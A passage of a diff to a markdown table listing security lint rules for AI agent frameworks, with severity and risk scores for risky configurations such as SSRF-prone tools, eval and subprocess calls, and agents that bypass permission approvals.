AgentExecutor has no explicit maxIterations limit | low | 0.60 | 9.0 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | -| 125 | LC-201 | LangChain | repo | langchain | LangChain project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [langchain/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/repo_hygiene.yaml) | -| 126 | CREW-001 | CrewAI | tool | crewai_tool | CrewAI tool has no description | low | 0.90 | 13.5 | [crewai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_definition.yaml) | -| 127 | CREW-002 | CrewAI | tool | crewai_tool | CrewAI tool parameters are not type-annotated | medium | 0.85 | 34.0 | [crewai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_definition.yaml) | -| 128 | CREW-003 | CrewAI | tool | crewai_tool | CrewAI tool body evaluates dynamic code | high | 0.85 | 59.5 | [crewai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/code_execution.yaml) | -| 129 | CREW-004 | CrewAI | tool | crewai_tool | CrewAI tool body spawns a subprocess | high | 0.85 | 59.5 | [crewai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/shell_safety.yaml) | -| 130 | CREW-005 | CrewAI | tool | crewai_tool | CrewAI tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [crewai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/ssrf.yaml) | -| 131 | CREW-006 | CrewAI | tool | crewai_tool | Mutating CrewAI tool has no idempotency key | medium | 0.55 | 22.0 | [crewai/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/idempotency.yaml) | -| 132 | CREW-101 | CrewAI | agent | crewai_agent | CrewAI agent enables built-in code execution | high | 0.90 | 63.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | -| 133 | CREW-102 | CrewAI | agent | crewai_agent | CrewAI agent runs code execution in unsafe mode | high | 0.90 | 63.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | -| 134 | CREW-103 | CrewAI | agent | crewai_agent | CrewAI agent wires the code-interpreter built-in tool | high | 0.85 | 59.5 | [crewai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/code_execution.yaml) | -| 135 | CREW-104 | CrewAI | agent | crewai_agent | CrewAI agent allows delegation to peer agents | medium | 0.75 | 30.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | -| 136 | CREW-106 | CrewAI | agent | crewai_agent | CrewAI agent grants an unconstrained FileReadTool | high | 0.70 | 49.0 | [crewai/dangerous_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/dangerous_tools.yaml) | -| 137 | CREW-107 | CrewAI | agent | crewai_agent | CrewAI agent wires a tool that fetches model-chosen URLs | medium | 0.70 | 28.0 | [crewai/dangerous_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/dangerous_tools.yaml) | -| 138 | CREW-108 | CrewAI | tool | crewai_tool | CrewAI tool returns its output as the final answer | medium | 0.60 | 24.0 | [crewai/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_behavior.yaml) | -| 139 | CREW-201 | CrewAI | repo | crewai | CrewAI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [crewai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/repo_hygiene.yaml) | -| 140 | AG2-001 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor runs code on the host without Docker | high | 0.90 | 63.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | -| 141 | AG2-002 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor runs code with no human review (human_input_mode=NEVER) | high | 0.85 | 59.5 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | -| 142 | AG2-004 | AutoGen | agent | autogen_group_chat_manager | AutoGen GroupChatManager has no explicit max_round bound | low | 0.60 | 9.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | -| 143 | AG2-005 | AutoGen | agent | autogen_assistant_agent | AutoGen AssistantAgent enables code execution on the LLM agent | medium | 0.70 | 28.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | -| 144 | AG2-006 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor with code execution has no explicit auto-reply cap | medium | 0.70 | 28.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | -| 145 | AG2-007 | AutoGen | tool | autogen_tool | AutoGen tool has no description | low | 0.90 | 13.5 | [autogen/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/tool_definition.yaml) | -| 146 | AG2-008 | AutoGen | tool | autogen_tool | AutoGen tool parameters are not type-annotated | medium | 0.85 | 34.0 | [autogen/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/tool_definition.yaml) | -| 147 | AG2-009 | AutoGen | tool | autogen_tool | AutoGen tool body spawns a subprocess | high | 0.85 | 59.5 | [autogen/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/shell_safety.yaml) | -| 148 | AG2-010 | AutoGen | tool | autogen_tool | AutoGen tool body evaluates dynamic code | high | 0.85 | 59.5 | [autogen/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/code_execution.yaml) | -| 149 | AG2-011 | AutoGen | tool | autogen_tool | AutoGen tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [autogen/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/ssrf.yaml) | -| 150 | AG2-012 | AutoGen | tool | autogen_tool | AutoGen tool network call has no timeout | high | 0.85 | 59.5 | [autogen/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/network.yaml) | -| 151 | AG2-201 | AutoGen | repo | autogen | AutoGen project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [autogen/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/repo_hygiene.yaml) | -| 152 | VAI-001 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() spawns a subprocess | high | 0.85 | 59.5 | [vercel_ai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/shell_safety.yaml) | -| 153 | VAI-002 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() evaluates code (eval / new Function) | high | 0.90 | 63.0 | [vercel_ai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/code_execution.yaml) | -| 154 | VAI-003 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() fetches a model-controlled URL | high | 0.75 | 52.5 | [vercel_ai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/ssrf.yaml) | -| 155 | VAI-004 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool has no description | low | 0.90 | 13.5 | [vercel_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/tool_definition.yaml) | -| 156 | VAI-005 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool accepts untyped input | medium | 0.80 | 32.0 | [vercel_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/tool_definition.yaml) | -| 157 | VAI-006 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent wires a provider shell / computer / code-execution tool | high | 0.85 | 59.5 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | -| 158 | VAI-007 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent tool loop has no explicit step bound | low | 0.60 | 9.0 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | -| 159 | VAI-008 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent forces a provider execution tool every step | medium | 0.65 | 26.0 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | -| 160 | VAI-011 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool HTTP call has no timeout | high | 0.60 | 42.0 | [vercel_ai/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/network.yaml) | -| 161 | VAI-012 | Vercel AI | repo | vercel_ai | Vercel AI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [vercel_ai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/repo_hygiene.yaml) | -| 162 | PYD-001 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool has no description | low | 0.90 | 13.5 | [pydantic_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/tool_definition.yaml) | -| 163 | PYD-002 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool parameters are not type-annotated | medium | 0.85 | 34.0 | [pydantic_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/tool_definition.yaml) | -| 164 | PYD-003 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool body spawns a subprocess | high | 0.85 | 59.5 | [pydantic_ai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/shell_safety.yaml) | -| 165 | PYD-004 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool body evaluates dynamic code | high | 0.85 | 59.5 | [pydantic_ai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/code_execution.yaml) | -| 166 | PYD-005 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [pydantic_ai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/ssrf.yaml) | -| 167 | PYD-006 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool network call has no timeout | high | 0.85 | 59.5 | [pydantic_ai/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/network.yaml) | -| 168 | PYD-007 | Pydantic AI | tool | pydantic_ai_tool | Mutating Pydantic AI tool has no idempotency key | medium | 0.55 | 22.0 | [pydantic_ai/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/idempotency.yaml) | -| 169 | PYD-101 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent has no structured output validation | low | 0.70 | 10.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | -| 170 | PYD-102 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent wires the code-execution native tool | high | 0.85 | 59.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | -| 171 | PYD-103 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent wires a model-driven URL-fetching native tool | medium | 0.75 | 30.0 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | -| 172 | PYD-105 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent retries with the exhaustive end strategy | low | 0.70 | 10.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | -| 173 | PYD-201 | Pydantic AI | repo | pydantic_ai | Pydantic AI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [pydantic_ai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/repo_hygiene.yaml) | +| | Id | SDK/ADK | Scope | Applies To | Policy | Severity | Confidence | Risk | Source | +| --- | ---------- | ------------ | -------- | --------------------------------------------------- | ------------------------------------------------------------------------------------- | -------- | ---------- | ---- | ------------------------------------------------------------------------------------------------------------------------- | +| 1 | CSDK-001 | Claude SDK | tool | claude_sdk_tool | Tool has no description | low | 0.95 | 14.3 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | +| 2 | CSDK-002 | Claude SDK | tool | claude_sdk_tool | Tool parameters are not type-annotated | medium | 0.90 | 36.0 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | +| 3 | CSDK-003 | Claude SDK | tool | claude_sdk_tool | Network call has no timeout | high | 0.85 | 59.5 | [claude_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/network.yaml) | +| 4 | CSDK-004 | Claude SDK | tool | claude_sdk_tool | Path parameter used in I/O without validation | high | 0.70 | 49.0 | [claude_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/path_safety.yaml) | +| 5 | CSDK-005 | Claude SDK | tool | claude_sdk_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [claude_sdk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/error_handling.yaml) | +| 6 | CSDK-006 | Claude SDK | tool | claude_sdk_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [claude_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/idempotency.yaml) | +| 7 | CSDK-007 | Claude SDK | tool | claude_sdk_tool | Ambiguous tool name | low | 0.90 | 13.5 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | +| 8 | CSDK-008 | Claude SDK | tool | claude_sdk_tool | Tool exposes **kwargs without explicit input_schema | medium | 0.80 | 32.0 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | +| 9 | CSDK-009 | Claude SDK | tool | claude_sdk_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [claude_sdk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/ssrf.yaml) | +| 10 | CSDK-010 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool shells out to the OS | high | 0.70 | 49.0 | [claude_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/shell_safety.yaml) | +| 11 | CSDK-011 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool evaluates dynamic code | high | 0.90 | 63.0 | [claude_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/code_execution.yaml) | +| 12 | CSDK-012 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool writes to the filesystem | low | 0.50 | 7.5 | [claude_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/path_safety.yaml) | +| 13 | CSDK-013 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [claude_sdk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/ssrf.yaml) | +| 14 | CSDK-014 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK tool has no description | low | 0.90 | 13.5 | [claude_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/tool_definition.yaml) | +| 15 | CSDK-016 | Claude SDK | tool | claude_sdk_tool | TypeScript Claude SDK mutating tool has no idempotency key | medium | 0.50 | 20.0 | [claude_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/idempotency.yaml) | +| 16 | CSDK-101 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the Bash tool | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 17 | CSDK-102 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the WebSearch tool | medium | 0.80 | 32.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 18 | CSDK-103 | Claude SDK | agent | claude_agent_definition | AgentDefinition sets permissionMode to bypassPermissions | high | 0.90 | 63.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 19 | CSDK-104 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted filesystem-write built-ins | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 20 | CSDK-105 | Claude SDK | agent | claude_agent_definition | Claude subagent is granted the WebFetch tool | high | 0.75 | 52.5 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 21 | CSDK-107 | Claude SDK | tool | claude_sdk_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.85 | 59.5 | [claude_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/code_execution.yaml) | +| 22 | CSDK-108 | Claude SDK | tool | claude_sdk_tool | Tool body spawns a subprocess | high | 0.70 | 49.0 | [claude_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/shell_safety.yaml) | +| 23 | CSDK-110 | Claude SDK | subagent | claude_subagent | Subagent granted the built-in Bash tool | high | 0.90 | 63.0 | [claude_sdk/subagent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/subagent_safety.yaml) | +| 24 | CSDK-111 | Claude SDK | subagent | claude_subagent | Subagent granted filesystem-write or web-fetch built-ins | high | 0.85 | 59.5 | [claude_sdk/subagent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/subagent_safety.yaml) | +| 25 | CSDK-120 | Claude SDK | agent | claude_agent_definition | TypeScript AgentDefinition sets permissionMode to bypassPermissions | high | 0.90 | 63.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 26 | CSDK-130 | Claude SDK | agent | claude_query_main | TypeScript query() main agent is granted the Bash tool | high | 0.80 | 56.0 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 27 | CSDK-131 | Claude SDK | agent | claude_query_main | TypeScript query() main agent is granted filesystem-write or web-fetch built-ins | high | 0.75 | 52.5 | [claude_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/agent_safety.yaml) | +| 28 | CSDK-201 | Claude SDK | repo | claude_sdk | Project default permission mode bypasses approvals | high | 0.90 | 63.0 | [claude_sdk/repo.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo.yaml) | +| 29 | CSDK-202 | Claude SDK | repo | claude_sdk | Session permission mode bypasses approvals | high | 0.90 | 63.0 | [claude_sdk/repo.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo.yaml) | +| 30 | CSDK-203 | Claude SDK | repo | claude_sdk | Repo ships Claude Agent SDK code without an agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [claude_sdk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_sdk/repo_hygiene.yaml) | +| 31 | OAI-001 | OpenAI SDK | tool | openai_tool | Tool function has no docstring | low | 0.90 | 13.5 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | +| 32 | OAI-002 | OpenAI SDK | tool | openai_tool | Tool function has no type-annotated parameters | medium | 0.85 | 34.0 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | +| 33 | OAI-003 | OpenAI SDK | tool | openai_tool | Tool sets strict_mode=False | medium | 0.95 | 38.0 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | +| 34 | OAI-004 | OpenAI SDK | tool | openai_tool | Tool has no failure_error_function | low | 0.70 | 10.5 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | +| 35 | OAI-005 | OpenAI SDK | tool | openai_tool | Network call has no timeout | high | 0.85 | 59.5 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | +| 36 | OAI-006 | OpenAI SDK | tool | openai_tool | Tool accepts path without normalization | high | 0.70 | 49.0 | [openai_sdk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/path_safety.yaml) | +| 37 | OAI-007 | OpenAI SDK | tool | openai_tool | Ambiguous tool name | low | 0.90 | 13.5 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | +| 38 | OAI-008 | OpenAI SDK | tool | openai_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [openai_sdk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/error_handling.yaml) | +| 39 | OAI-009 | OpenAI SDK | tool | openai_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [openai_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/idempotency.yaml) | +| 40 | OAI-010 | OpenAI SDK | tool | openai_tool | Tool function prints to stdout for diagnostics | low | 0.65 | 9.8 | [openai_sdk/observability.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/observability.yaml) | +| 41 | OAI-011 | OpenAI SDK | tool | openai_tool | urllib network call has no timeout | high | 0.85 | 59.5 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | +| 42 | OAI-012 | OpenAI SDK | tool | openai_tool | Tool body spawns a subprocess | high | 0.90 | 63.0 | [openai_sdk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/shell_safety.yaml) | +| 43 | OAI-013 | OpenAI SDK | tool | openai_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.90 | 63.0 | [openai_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/code_execution.yaml) | +| 44 | OAI-014 | OpenAI SDK | tool | openai_tool | Privileged tool has no needs_approval gate | high | 0.70 | 49.0 | [openai_sdk/approvals.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/approvals.yaml) | +| 45 | OAI-015 | OpenAI SDK | tool | openai_tool | Tool sets failure_error_function=None | high | 0.85 | 59.5 | [openai_sdk/decorator_config.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/decorator_config.yaml) | +| 46 | OAI-016 | OpenAI SDK | tool | openai_tool | TypeScript tool fetch call has no AbortSignal timeout | high | 0.60 | 42.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | +| 47 | OAI-017 | OpenAI SDK | tool | openai_tool | TypeScript tool body calls eval / new Function on dynamic input | high | 0.90 | 63.0 | [openai_sdk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/code_execution.yaml) | +| 48 | OAI-018 | OpenAI SDK | tool | openai_tool | Tool builds outbound URL from non-literal value | medium | 0.55 | 22.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | +| 49 | OAI-019 | OpenAI SDK | tool | openai_tool | TypeScript mutating tool has no idempotency key | medium | 0.50 | 20.0 | [openai_sdk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/idempotency.yaml) | +| 50 | OAI-022 | OpenAI SDK | tool | openai_tool | TypeScript tool has no description | low | 0.85 | 12.8 | [openai_sdk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tool_definition.yaml) | +| 51 | OAI-024 | OpenAI SDK | tool | openai_tool | TypeScript tool builds outbound URL from a non-literal value | medium | 0.60 | 24.0 | [openai_sdk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/network.yaml) | +| 52 | OAI-101 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent has no input_guardrails AND wires shell or filesystem-touching tools | high | 0.85 | 59.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 53 | OAI-102 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent uses tool_use_behavior="stop_on_first_tool" | high | 0.95 | 66.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 54 | OAI-103 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | tool_choice="required" combined with reset_tool_choice=False | high | 0.95 | 66.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 55 | OAI-104 | OpenAI SDK | agent | openai_agent | Raw Agent (not SandboxAgent) wires shell or filesystem-touching tools | medium | 0.75 | 30.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 56 | OAI-105 | OpenAI SDK | agent | openai_agent | TypeScript agent wires a content-fetching hosted tool without inputGuardrails | high | 0.80 | 56.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 57 | OAI-106 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires MCP servers without input_guardrails | high | 0.90 | 63.0 | [openai_sdk/mcp_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/mcp_safety.yaml) | +| 58 | OAI-109 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent uses WebSearchTool without input_guardrails | high | 0.85 | 59.5 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 59 | OAI-110 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires a content-fetching tool without output_guardrails | medium | 0.60 | 24.0 | [openai_sdk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/agent_safety.yaml) | +| 60 | OAI-111 | OpenAI SDK | agent | openai_agent, openai_sandbox_agent | Agent wires a privileged hosted tool without needs_approval | high | 0.75 | 52.5 | [openai_sdk/approvals.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/approvals.yaml) | +| 61 | OAI-201 | OpenAI SDK | repo | openai_agents | Project uses default OpenAI tracing | medium | 0.80 | 32.0 | [openai_sdk/tracing.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/tracing.yaml) | +| 62 | OAI-202 | OpenAI SDK | repo | openai_agents | OpenAI Agents project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [openai_sdk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/openai_sdk/repo_hygiene.yaml) | +| 63 | ADK-001 | Google ADK | tool | adk_function_tool | FunctionTool-wrapped function has no docstring | low | 0.80 | 12.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | +| 64 | ADK-002 | Google ADK | tool | adk_function_tool | FunctionTool-wrapped function has no type-annotated parameters | medium | 0.85 | 34.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | +| 65 | ADK-003 | Google ADK | tool | adk_function_tool | Network call has no timeout | high | 0.85 | 59.5 | [google_adk/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/network.yaml) | +| 66 | ADK-004 | Google ADK | tool | adk_function_tool | Path parameter used in I/O without normalization | high | 0.70 | 49.0 | [google_adk/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/path_safety.yaml) | +| 67 | ADK-005 | Google ADK | tool | adk_function_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [google_adk/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/error_handling.yaml) | +| 68 | ADK-006 | Google ADK | tool | adk_function_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [google_adk/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/idempotency.yaml) | +| 69 | ADK-007 | Google ADK | tool | adk_function_tool | Ambiguous tool name | low | 0.90 | 13.5 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | +| 70 | ADK-008 | Google ADK | agent | adk_llm_agent | Agent grants BashTool with no restrictive command policy | high | 0.75 | 52.5 | [google_adk/builtin_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/builtin_tools.yaml) | +| 71 